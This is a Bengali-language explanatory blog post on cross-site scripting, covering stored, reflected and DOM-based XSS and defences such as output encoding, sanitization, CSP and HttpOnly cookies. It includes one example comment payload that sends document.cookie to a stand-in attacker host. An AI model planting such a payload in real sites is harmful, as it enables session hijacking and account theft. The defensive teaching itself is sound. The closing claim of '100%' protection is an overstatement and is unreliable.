XSS Attack কী? Cross-Site Scripting থেকে Website Protect করার পূর্ণাঙ্গ গাইড

Advertisement Ad Banner

ইনট্রোডাকশন: সাইবার নিরাপত্তার প্রেক্ষাপটে XSS

বর্তমান ডিজিটাল যুগে ওয়েবসাইটের নিরাপত্তা বা সাইবার সিকিউরিটি অত্যন্ত সংবেদনশীল একটি বিষয়। প্রতিদিন হাজার হাজার ওয়েবসাইট সাইবার আক্রমণের শিকার হচ্ছে। ওয়েব অ্যাপ্লিকেশনের নিরাপত্তা ঝুঁকিসমূহের মধ্যে অন্যতম মারাত্মক এবং বহুল পরিচিত একটি সাইবার থ্রেট হলো XSS Attack বা Cross-Site Scripting Attack। OWASP (Open Web Application Security Project)-এর শীর্ষ ১০টি ওয়েব অ্যাপ্লিকেশন সিকিউরিটি ঝুঁকির তালিকায় XSS সর্বদা উপরের সারিতে অবস্থান করে।

আপনার ওয়েবসাইট যদি XSS আক্রমণের জন্য ঝুঁকিপূর্ণ হয়, তবে আক্রমণকারীরা কেবল ওয়েবসাইটের মূল কোড পরিবর্তনই করবে না, বরং আপনার ব্যবহারকারীদের সংবেদনশীল তথ্য যেমন—ইউজারনেম, পাসওয়ার্ড, সেশন কুকি, এমনকি ক্রেডিট কার্ডের তথ্যও চুরি করতে পারে। এই পূর্ণাঙ্গ ব্লগে আমরা বিস্তারিত আলোচনা করব XSS Attack কী, এটি কীভাবে কাজ করে, এর প্রকারভেদ এবং কীভাবে আপনার ওয়েবসাইটকে এই মারাত্মক আক্রমণ থেকে শতভাগ সুরক্ষিত রাখবেন।

XSS (Cross-Site Scripting) Attack কী?

Cross-Site Scripting (XSS) হলো ওয়েব অ্যাপ্লিকেশনের এমন একটি সিকিউরিটি ভালনারেবিলিটি বা দুর্বলতা, যার সুযোগ নিয়ে একজন হ্যাকার বা আক্রমণকারী কোনো বিশ্বস্ত ওয়েবসাইটে ক্ষতিকারক ক্লায়েন্ট-সাইড স্ক্রিপ্ট (সাধারণত JavaScript) ইনজেক্ট বা প্রবেশ করিয়ে দেয়।

সাধারণ ওয়েব অ্যাটাকগুলো (যেমন: SQL Injection) সরাসরি ওয়েবসাইটের সার্ভার বা ডাটাবেজকে টার্গেট করে। কিন্তু XSS অ্যাটাকের ক্ষেত্রে সার্ভার সরাসরি ভিকটিম হয় না; বরং ওয়েবসাইটের সাধারণ ব্যবহারকারীরা (Users) এর শিকার হন। যখন কোনো ব্যবহারকারী সেই সংক্রমিত বা ঝুঁকিপূর্ণ ওয়েব পেজটি ভিজিট করেন, তখন তার ব্রাউজারে ক্ষতিকারক জাভাস্ক্রিপ্ট কোডটি স্বয়ংক্রিয়ভাবে রান (Execute) করে। যেহেতু ব্রাউজার মনে করে কোডটি বিশ্বস্ত ওয়েবসাইট থেকেই এসেছে, তাই ব্রাউজার উক্ত স্ক্রিপ্টকে ব্লক করে না। এর ফলে হ্যাকার ব্যবহারকারীর সেশন হ্যাক করতে পারে, ব্যবহারকারীর অজান্তেই অনাকাঙ্ক্ষিত কাজ সম্পাদন করতে পারে অথবা রিডাইরেক্ট করে ক্ষতিকর সাইটে নিয়ে যেতে পারে।

XSS Attack কীভাবে কাজ করে? (একটি বাস্তব উদাহরণ)

XSS কীভাবে কাজ করে তা বোঝার জন্য একটি সাধারণ উদাহরণ বিবেচনা করা যাক। মনে করুন, একটি ব্লগের কমেন্ট সেকশন রয়েছে যেখানে ব্যবহারকারীরা তাদের মতামত লিখতে পারেন।

সাধারণত একজন ব্যবহারকারী লিখবেন: "লেখাটি খুব সুন্দর হয়েছে!"

কিন্তু একজন সাইবার আক্রমণকারী কমেন্ট বক্সে সাধারণ লেখার পরিবর্তে একটি ক্ষতিকারক জাভাস্ক্রিপ্ট কোড লিখল, যেমন:

<script>fetch('https://attacker-site.com/steal?cookie=' + document.cookie);</script>

ওয়েবসাইটটি যদি ইনপুট ফিল্টার না করে সরাসরি এই কমেন্টটি ডাটাবেজে সেভ করে এবং অন্য কোনো ব্যবহারকারী যখন ওই ব্লগ পোস্টটি পড়তে যাবেন, তখন তার ব্রাউজার ডাটাবেজ থেকে আসা ওই <script> ট্যাগটিকে এইচটিএমএল কোড হিসেবে ধরে নিয়ে রান করবে। এর ফলে উক্ত ব্যবহারকারীর ব্রাউজারে থাকা সেশন কুকি হ্যাকারের সার্ভারে পৌঁছে যাবে এবং হ্যাকার খুব সহজেই সেই ব্যবহারকারীর অ্যাকাউন্টটি হাইজ্যাক করতে পারবে।

XSS অ্যাটাকের প্রকারভেদ (Types of XSS Attacks)

XSS অ্যাটাক প্রধানত তিনটি প্রধান শ্রেণীতে বিভক্ত। নিরাপত্তা নিশ্চিত করতে এই প্রকারভেদগুলো সম্পর্কে স্পষ্ট ধারণা থাকা জরুরি:

১. Stored XSS (Persistent XSS)

এটি XSS অ্যাটাকের সবচেয়ে মারাত্মক রূপ। Stored XSS-এর ক্ষেত্রে আক্রমণকারীর পাঠানো ক্ষতিকর স্ক্রিপ্টটি স্থায়ীভাবে ওয়েবসাইটের ডাটাবেজ, ফোরাম পোস্ট, কমেন্ট সেকশন বা ভিজিটর লগে সংরক্ষিত (Stored) হয়ে যায়। পরবর্তীতে যেকোনো ব্যবহারকারী যখনই সেই ডাটাটি দেখতে যান বা উক্ত পেজটি লোড করেন, তখনই তার ব্রাউজারে ক্ষতিকারক স্ক্রিপ্টটি এক্সিকিউট হয়।

২. Reflected XSS (Non-Persistent XSS)

Reflected XSS-এ ক্ষতিকর স্ক্রিপ্টটি ডাটাবেজে সংরক্ষিত হয় না। এটি কেবল একটি নির্দিষ্ট HTTP রিকোয়েস্টের সাথেই প্রতিফলিত (Reflected) হয়ে ফিরে আসে। সাধারণত ইমেইল বা মেসেজের মাধ্যমে শিকারকে একটি স্প্যাম লিংক পাঠানো হয়, যার URL-এর মধ্যে ক্ষতিকর জাভাস্ক্রিপ্ট কোড যুক্ত থাকে (যেমন: http://example.com/search?q=<script>...</script>)। ভিকটিম যখন সেই লিংকে ক্লিক করেন, তখন সার্ভার থেকে রেসপন্স পেজে স্ক্রিপ্টটি ফেরত আসে এবং ব্রাউজারে রান করে।

৩. DOM-based XSS

DOM-based XSS অ্যাটাকের ক্ষেত্রে সার্ভার-সাইডে কোনো সমস্যা থাকে না। এটি সম্পূর্ণ ক্লায়েন্ট-সাইড জাভাস্ক্রিপ্ট এবং ব্রাউজারের DOM (Document Object Model)-এর দুর্বলতার কারণে ঘটে। ক্লায়েন্ট-সাইড স্ক্রিপ্ট যখন ব্যবহারকারীর ইনপুট কোনো প্রকার নিরাপত্তা যাচাই ছাড়াই সরাসরি DOM-এ (যেমন: document.innerHtml বা eval())-এ প্রসেস করে, তখন এই ধরণের অ্যাটাক ঘটে।

XSS অ্যাটাকের সম্ভাব্য ক্ষয়ক্ষতি

XSS অ্যাটাকের মাধ্যমে একজন হ্যাকার একটি ওয়েবসাইটের অপূরণীয় ক্ষতি করতে পারে। এর প্রধান ক্ষতিকর দিকগুলো নিচে তুলে ধরা হলো:

  • Session Hijacking (সেশন চুরি): ব্যবহারকারীর সেশন টোকেন বা কুকি চুরি করে অ্যাকাউন্ট হ্যাক করা।
  • Identity Theft (পরিচয় চুরি): ব্যবহারকারীর সংবেদনশীল তথ্য ও পরিচয় চুরি করা।
  • Keylogging: ব্যবহারকারী কিবোর্ডে যা টাইপ করছেন (পাসওয়ার্ড, ক্রেডিট কার্ড নম্বর) তা গোপনে রেকর্ড করা।
  • Website Defacement: ওয়েবসাইটের কন্টেন্ট এবং আউটলুক পরিবর্তন করে বিকৃত করা।
  • Malware Distribution: ব্যবহারকারীর ডিভাইসে ক্ষতিকারক ম্যালওয়্যার বা ভাইরাস ডাউনলোড করানো।
  • Phishing & Redirection: আসল ওয়েবসাইটের মতো দেখতে ভুয়া ফিশিং পেজে ব্যবহারকারীকে রিডাইরেক্ট করা।

Cross-Site Scripting (XSS) থেকে Website Protect করার উপায়

আপনার ওয়েবসাইটকে XSS আক্রমণের হাত থেকে রক্ষা করতে হলে ডেভেলপমেন্টের শুরু থেকেই নিরাপত্তা সচেতন নীতি গ্রহণ করতে হবে। নিচে কার্যকরী এবং প্র্যাকটিক্যাল উপায়গুলো আলোচনা করা হলো:

১. Context-Aware Output Encoding (আউটপুট এনকোডিং)

XSS প্রতিরোধের সবচেয়ে কার্যকরী উপায় হলো ব্যবহারকারীর প্রদান করা যেকোনো ডাটা পেজে দেখানোর (Render) পূর্বে সঠিকভাবে Encoding করা। এনকোডিং-এর মাধ্যমে বিশেষ কোনো এইচটিএমএল ক্যারেক্টারকে সাধারণ টেক্সটে রূপান্তর করা হয়, যাতে ব্রাউজার সেটিকে এক্সিকিউটেবল কোড হিসেবে মনে না করে।

উদাহরণস্বরূপ, < ক্যারেক্টারকে &lt; এবং > ক্যারেক্টারকে &gt; এ রূপান্তর করতে হবে।

বিভিন্ন কনটেক্সটে সঠিক এনকোডার ব্যবহার করতে হবে:

  • HTML Body Context: HTML Entity Encoding
  • Attribute Context: Attribute Escaping
  • JavaScript Context: JavaScript Encoding
  • CSS Context: CSS Escaping

২. Data Input Validation & Sanitization (ইনপুট ভ্যালিডেশন এবং স্যানিটাইজেশন)

ব্যবহারকারী যেকোনো ইনপুট (যেমন: ফর্ম ফিল্ড, সার্চ বক্স, URL পারামিটার) দিলে তা সার্ভারে গ্রহণের সময় কঠোরভাবে যাচাই বা Validation করতে হবে।

  • Whitelisting: কেবল নির্দিষ্ট কিছু ক্যারেক্টার বা ফরম্যাট (যেমন: কেবল সংখ্যা বা কেবল অক্ষর) অনুমোদন করুন। এটি Blacklisting (যা কিছু নির্দিষ্ট শব্দ ব্লক করে) এর চেয়ে অনেক বেশি নিরাপদ।
  • Sanitization: যদি ব্যবহারকারীকে রিক-টেক্সট বা HTML ইনপুট দিতে হয় (যেমন: ব্লগ এডিটর), তবে ডাটা প্রসেস করার আগে ক্ষতিকর <script>, onload, onerror এর মতো ট্যাগ বা অ্যাট্রিবিউট ছেঁটে বা মুছে ফেলতে হবে। এর জন্য বিশ্বস্ত লাইব্রেরি (যেমন: HTMLPurifier, DOMPurify) ব্যবহার করা উচিত।

৩. Content Security Policy (CSP) বাস্তবায়ন করা

Content Security Policy (CSP) হলো একটি শক্তিশালী HTTP হেডার, যা ব্রাউজারকে নির্দেশ দেয় কোন কোন সোর্স বা উৎস থেকে পেজে জাভাস্ক্রিপ্ট, সিএসএস বা ছবি লোড করা যাবে। CSP ব্যবহার করলে কোনো হ্যাকার ইনলাইন স্ক্রিপ্ট (Inline Script) রান করাতে পারে না।

একটি সাধারণ CSP হেডারের উদাহরণ:

Content-Security-Policy: default-src 'self'; script-src 'self' https://trustedscripts.com;

এই হেডার ব্যবহারের ফলে কেবল নিজের ডোমেইন এবং অনুমোদিত ডোমেইন ছাড়া অন্য কোনো সোর্স থেকে আসা কোনো জাভাস্ক্রিপ্ট ফাইল বা ইনলাইন কোড রান করবে না।

৪. Sensitive Cookie-তে HttpOnly এবং Secure Flag ব্যবহার করা

হ্যাকাররা সাধারণত XSS ব্যবহার করে document.cookie-এর মাধ্যমে সেশন কুকি চুরি করে। কুকি তৈরি করার সময় যদি HttpOnly ফ্ল্যাগ যুক্ত করে দেওয়া হয়, তবে জাভাস্ক্রিপ্টের মাধ্যমে উক্ত কুকি অ্যাক্সেস করা অসম্ভব হয়ে পড়ে।

পাশাপাশি Secure ফ্ল্যাগ যোগ করলে কুকি কেবল নিরাপদ HTTPS কানেকশনেই আদান-প্রদান হবে এবং SameSite=Strict/Lax সেট করলে CSRF এবং XSS-এর ঝুঁকি অনেকটাই কমে যায়।

৫. আধুনিক ওয়েব ফ্রেমওয়ার্ক ব্যবহার করা

পুরোনো বা সাধারণ পিএইচপি (Vanilla PHP) কোডে XSS ভুল হওয়ার সম্ভাবনা অনেক বেশি থাকে। কিন্তু আধুনিক ওয়েব অ্যাপ্লিকেশন ফ্রেমওয়ার্ক যেমন—React, Angular, Vue.js, Laravel, Django, Ruby on Rails ইত্যাদি বাই-ডিফল্ট স্বয়ংক্রিয়ভাবে কন্টেন্ট এনকোডিং এবং স্যানিটাইজেশন পরিচালনা করে। ফলে এসব ফ্রেমওয়ার্ক সঠিকভাবে ব্যবহার করলে XSS আক্রমণের ঝুঁকি বহুলাংশে হ্রাস পায়।

৬. Web Application Firewall (WAF) ব্যবহার করা

ওয়েবসাইটের সুরক্ষায় একটি মানসম্মত Web Application Firewall (WAF) ব্যবহার করা অত্যন্ত লাভজনক। WAF ওয়েবসাইটে আসা সমস্ত ট্রাফিক রিয়েল-টাইমে স্ক্যান করে এবং যেকোনো সন্দেহজনক ইনপুট বা XSS পেলোড চিহ্নিত করে সার্ভারে পৌঁছানোর আগেই ব্লক করে দেয়।

উপসংহার: সার্বিক নিরাপত্তা সংস্কৃতি গড়ে তুলুন

XSS বা Cross-Site Scripting কোনো সাধারণ ওয়েব ত্রুটি নয়; এটি ব্যবহারকারীর গোপনীয়তা এবং ওয়েবসাইটের ভাবমূর্তির জন্য এক বিরাট হুমকি। নিরাপত্তা নিশ্চিত করা কোনো একক পদক্ষেপ নয়, এটি একটি ধারাবাহিক প্রক্রিয়া। ওয়েবসাইটের নিরাপত্তার জন্য ইনপুট গ্রহণ থেকে শুরু করে ব্রাউজারে আউটপুট দেওয়া পর্যন্ত প্রতিটি ধাপে সচেতন হতে হবে।

নিয়মিত কোড রিভিউ, ডাইনামিক অ্যাপ্লিকেশন সিকিউরিটি টেস্টিং (DAST) এবং সোর্স কোড স্ক্যানিংয়ের মাধ্যমে ওয়েবসাইটের দুর্বলতাগুলো চিহ্নিত করে দ্রত সমাধান করা উচিত। একজন সচেতন ওয়েব ডেভেলপার এবং সিস্টেম অ্যাডমিনিস্ট্রেটর হিসেবে সিকিউরিটি বেস্ট প্র্যাকটিসগুলো মেনে চললে আপনার ওয়েবসাইটকে XSS সহ যেকোনো সাইবার আক্রমণ থেকে শতভাগ সুরক্ষিত রাখা সম্ভব।

Author

Md Jobayer Mahmud

Md Jobayer Mahmud ShebaHost.com-এর প্রতিষ্ঠাতা — বাংলাদেশভিত্তিক একটি ডোমেইন ও ওয়েব হোস্টিং প্রতিষ্ঠান। তিনি ওয়েবসাইট ডিজাইন ও ডেভেলপমেন্ট এবং অ্যান্ড্রয়েড অ্যাপ ডেভেলপমেন্টের কাজ করেন। হোস্টিং, ওয়েবসাইট ও অনলাইন ইনকাম নিয়ে নিজের হাতে-কলমে অভিজ্ঞতা থেকে এই ব্লগে লেখেন।

লেখক সম্পর্কে আরও জানুন →

Share your opinion here!